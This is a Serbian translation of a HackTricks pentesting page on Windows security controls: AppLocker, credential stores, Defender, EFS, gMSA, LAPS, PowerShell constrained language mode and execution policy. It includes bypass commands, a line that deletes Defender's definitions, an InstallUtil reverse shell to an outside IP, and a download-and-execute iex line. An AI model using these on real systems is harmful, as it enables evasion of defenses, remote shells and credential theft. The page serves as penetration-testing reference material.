hacktricks/windows-hardening/authentication-credentials-uac-and-efs
2024-04-07 04:23:52 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00
uac-user-account-control.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 04:23:52 +00:00

Windows Security Controls

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Koristite Trickest da lako izgradite i automatizujete tokove rada pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLocker Politika

Lista odobrenih softverskih aplikacija ili izvršnih datoteka koje su dozvoljene da budu prisutne i pokrenute na sistemu naziva se bela lista aplikacija. Cilj je zaštita okruženja od štetnog malvera i neodobrenog softvera koji se ne slaže sa specifičnim poslovnim potrebama organizacije.

AppLocker je Microsoft-ovo rešenje za belu listu aplikacija i daje sistem administratorima kontrolu nad kojim aplikacijama i datotekama korisnici mogu pokrenuti. Pruža detaljnu kontrolu nad izvršnim datotekama, skriptama, Windows instalacionim datotekama, DLL-ovima, upakovanim aplikacijama i instalaterima upakovanih aplikacija.
Često je za organizacije blokirati cmd.exe i PowerShell.exe i pristup pisanju određenim direktorijumima, ali sve to može biti zaobiđeno.

Provera

Proverite koje datoteke/ekstenzije su na crnoj/beloj listi:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Ovaj putanja registra sadrži konfiguracije i politike primenjene od strane AppLockera, pružajući način da se pregleda trenutni skup pravila koja se primenjuju na sistemu:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Zaobilazak

  • Korisne Folderi za pisanje za zaobilazak AppLocker politike: Ako AppLocker dozvoljava izvršavanje bilo čega unutar C:\Windows\System32 ili C:\Windows, postoje folderi za pisanje koje možete koristiti da zaobiđete ovo.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Često povereni "LOLBAS-ovi" binarni fajlovi mogu biti korisni za zaobilaženje AppLockera.
  • Loše napisana pravila takođe mogu biti zaobiđena
  • Na primer, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, možete kreirati folder nazvan allowed bilo gde i biće dozvoljen.
  • Organizacije često takođe fokusiraju se na blokiranje izvršnog fajla %System32%\WindowsPowerShell\v1.0\powershell.exe, ali zaboravljaju na druge lokacije izvršnih fajlova PowerShell-a kao što su %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ili PowerShell_ISE.exe.
  • DLL sprovođenje veoma retko je omogućeno zbog dodatnog opterećenja koje može staviti na sistem i količine testiranja potrebne da se osigura da ništa neće biti oštećeno. Stoga korišćenje DLL-ova kao tajnih prolaza pomoći će u zaobilaženju AppLockera.
  • Možete koristiti ReflectivePick ili SharpPick da izvršite Powershell kod u bilo kom procesu i zaobiđete AppLocker. Za više informacija pogledajte: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Skladištenje akreditacija

Menadžer sigurnosnih naloga (SAM)

Lokalne akreditacije prisutne su u ovom fajlu, lozinke su heširane.

Lokalna sigurnosna autoriteta (LSA) - LSASS

Akreditacije (heširane) su sačuvane u memoriji ovog podsistema iz razloga jednostavnog prijavljivanja.
LSA upravlja lokalnom sigurnosnom politikom (politika lozinke, dozvole korisnika...), autentifikacijom, pristupnim tokenima...
LSA će biti ta koja će proveriti dostavljene akreditacije unutar fajla SAM (za lokalnu prijavu) i komunicirati sa kontrolorom domena da autentifikuje korisnika domena.

Akreditacije su sačuvane unutar procesa LSASS: Kerberos tiketi, heševi NT i LM, lako dešifrovane lozinke.

LSA tajne

LSA može sačuvati na disku neke akreditacije:

  • Lozinka računa računara Active Directory (nedostupan kontrolor domena).
  • Lozinke naloga Windows servisa
  • Lozinke za zakazane zadatke
  • Više (lozinka IIS aplikacija...)

NTDS.dit

To je baza podataka Active Directory-ja. Prisutna je samo na kontrolorima domena.

Defender

Microsoft Defender je antivirus koji je dostupan u Windows 10 i Windows 11, kao i u verzijama Windows Servera. On blokira česte alate za pentesting kao što je WinPEAS. Međutim, postoje načini da se zaobiđu ove zaštite.

Provera

Da biste proverili status Defendera možete izvršiti PS cmdlet Get-MpComputerStatus (proverite vrednost RealTimeProtectionEnabled da biste znali da li je aktivan):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Za enumeraciju takođe možete pokrenuti:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Enkriptovan sistem datoteka (EFS)

EFS obezbeđuje sigurnost datoteka putem enkripcije, koristeći simetrični ključ poznat kao Ključ za enkripciju datoteke (FEK). Ovaj ključ je enkriptovan korisnikovim javni ključem i čuva se unutar alternativnog podatkovnog toka $EFS enkriptovane datoteke. Kada je potrebno dešifrovati, odgovarajući privatni ključ korisnikovog digitalnog sertifikata se koristi za dešifrovanje FEK iz $EFS toka. Više detalja možete pronaći ovde.

Scenariji dešifrovanja bez inicijacije korisnika uključuju:

  • Kada se datoteke ili folderi premeštaju na ne-EFS fajl sistem, poput FAT32, automatski se dešifruju.
  • Enkriptovane datoteke poslate preko mreže putem SMB/CIFS protokola se dešifruju pre slanja.

Ovaj metod enkripcije omogućava transparentan pristup enkriptovanim datotekama vlasniku. Međutim, jednostavna promena lozinke vlasnika i prijava neće dozvoliti dešifrovanje.

Ključne tačke:

  • EFS koristi simetrični FEK, enkriptovan korisnikovim javnim ključem.
  • Dešifrovanje koristi korisnikov privatni ključ za pristup FEK-u.
  • Automatsko dešifrovanje se dešava pod određenim uslovima, poput kopiranja na FAT32 ili mrežnu transmisiju.
  • Enkriptovane datoteke su dostupne vlasniku bez dodatnih koraka.

Provera informacija o EFS-u

Proverite da li je korisnik koristio ovu uslugu proverom da li postoji ovaj putanja: C:\users\<korisničko_ime>\appdata\roaming\Microsoft\Protect

Proverite ko ima pristup datoteci korišćenjem cipher /c <datoteka>
Takođe možete koristiti cipher /e i cipher /d unutar foldera da enkriptujete i dešifrujete sve datoteke

Dešifrovanje EFS datoteka

Biti sistem sa ovlašćenjem

Ovaj način zahteva da žrtveni korisnik pokreće proces unutar hosta. U tom slučaju, koristeći meterpreter sesije možete preuzeti token procesa korisnika (impersonate_token iz incognito). Ili jednostavno možete migrate na proces korisnika.

Poznavanje korisnikove lozinke

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

Grupisani upravljani servisni nalozi (gMSA)

Microsoft je razvio Grupisane upravljane servisne naloge (gMSA) kako bi pojednostavio upravljanje servisnim nalozima u IT infrastrukturama. Za razliku od tradicionalnih servisnih naloga koji često imaju podešavanje "Lozinka nikada ne ističe" omogućeno, gMSA nude sigurnije i upravljivije rešenje:

  • Automatsko upravljanje lozinkom: gMSA koriste kompleksnu lozinku od 240 karaktera koja se automatski menja prema domenskoj ili računarskoj politici. Ovaj proces rukovodi Microsoft-ova Key Distribution Service (KDC), eliminišući potrebu za ručnim ažuriranjem lozinke.
  • Poboljšana sigurnost: Ovi nalozi su imuni na blokade i ne mogu se koristiti za interaktivne prijave, poboljšavajući njihovu sigurnost.
  • Podrška za više hostova: gMSA mogu biti deljeni preko više hostova, čineći ih idealnim za servise koji se izvršavaju na više servera.
  • Mogućnost zakazanih zadataka: Za razliku od upravljanih servisnih naloga, gMSA podržavaju pokretanje zakazanih zadataka.
  • Po verejednost upravljanja SPN-om: Sistem automatski ažurira Service Principal Name (SPN) kada dođe do promena u sAMaccount detaljima računara ili DNS imenu, pojednostavljujući upravljanje SPN-om.

Lozinke za gMSA se čuvaju u LDAP svojstvu msDS-ManagedPassword i automatski se resetuju svakih 30 dana od strane Domain Controller-a (DC). Ova lozinka, enkriptovani podaci poznati kao MSDS-MANAGEDPASSWORD_BLOB, mogu biti dobijeni samo od ovlašćenih administratora i servera na kojima su instalirani gMSA, obezbeđujući sigurno okruženje. Da biste pristupili ovim informacijama, potrebna je obezbeđena veza poput LDAPS-a, ili veza mora biti autentifikovana sa 'Sealing & Secure'.

https://cube0x0.github.io/Relaying-for-gMSA/

Možete pročitati ovu lozinku sa GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

Pronađite više informacija u ovom postu

Takođe, proverite ovu web stranicu o tome kako izvesti NTLM relay napad da biste pročitali šifru gMSA.

LAPS

Local Administrator Password Solution (LAPS), dostupno za preuzimanje sa Microsoft, omogućava upravljanje lokalnim administratorskim lozinkama. Ove lozinke, koje su slučajno generisane, jedinstvene i redovno menjane, čuvaju se centralno u Active Directory-ju. Pristup ovim lozinkama je ograničen putem ACL-ova za ovlašćene korisnike. Sa dovoljnim dozvolama, omogućeno je čitanje lokalnih administratorskih lozinki.

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS Režim ograničenog jezika

PowerShell Režim ograničenog jezika zaključava mnoge od funkcija potrebnih za efikasnu upotrebu PowerShella, kao što su blokiranje COM objekata, dozvoljavanje samo odobrenih .NET tipova, XAML baziranih radnih tokova, PowerShell klasa i još mnogo toga.

Provera

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Zaobilazak

#Easy bypass
Powershell -version 2

U trenutnim prozorima taj Bypass neće raditi, ali možete koristiti PSByPassCLM.
Da biste ga kompajlirali, možda će vam biti potrebno dodati referencu -> Pretraži -> Pretraži -> dodajte C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll i promenite projekat na .Net4.5.

Direktni Bypass:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Obrnuti shell:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

Možete koristiti ReflectivePick ili SharpPick da izvršite Powershell kod u bilo kom procesu i zaobiđete ograničeni režim. Za više informacija pogledajte: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

PS Izvršna politika

Podrazumevano je postavljena na restricted. Glavni načini zaobiđavanja ove politike:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

Više informacija možete pronaći ovde

Interfejs za podršku sigurnosnog provajdera (SSPI)

Je API koji se može koristiti za autentifikaciju korisnika.

SSPI će biti zadužen za pronalaženje odgovarajućeg protokola za dve mašine koje žele da komuniciraju. Preferirana metoda za ovo je Kerberos. Zatim će SSPI pregovarati o tome koji će autentifikacioni protokol biti korišćen, ovi autentifikacioni protokoli se nazivaju Provajderi podrške za sigurnost (SSP), nalaze se unutar svake Windows mašine u obliku DLL-a i obe mašine moraju podržavati isti kako bi mogle da komuniciraju.

Glavni SSP-ovi

  • Kerberos: Preferirani
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 i NTLMv2: Iz razloga kompatibilnosti
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: Veb serveri i LDAP, lozinka u obliku MD5 heša
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL i TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: Koristi se za pregovaranje o protokolu koji će se koristiti (Kerberos ili NTLM pri čemu je Kerberos podrazumevani)
  • %windir%\Windows\System32\lsasrv.dll

Pregovaranje može ponuditi nekoliko metoda ili samo jednu.

UAC - Kontrola korisničkog naloga

Kontrola korisničkog naloga (UAC) je funkcija koja omogućava zahtev za pristanak za povišene aktivnosti.

{% content-ref url="uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Koristite Trickest da lako kreirate i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}


Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: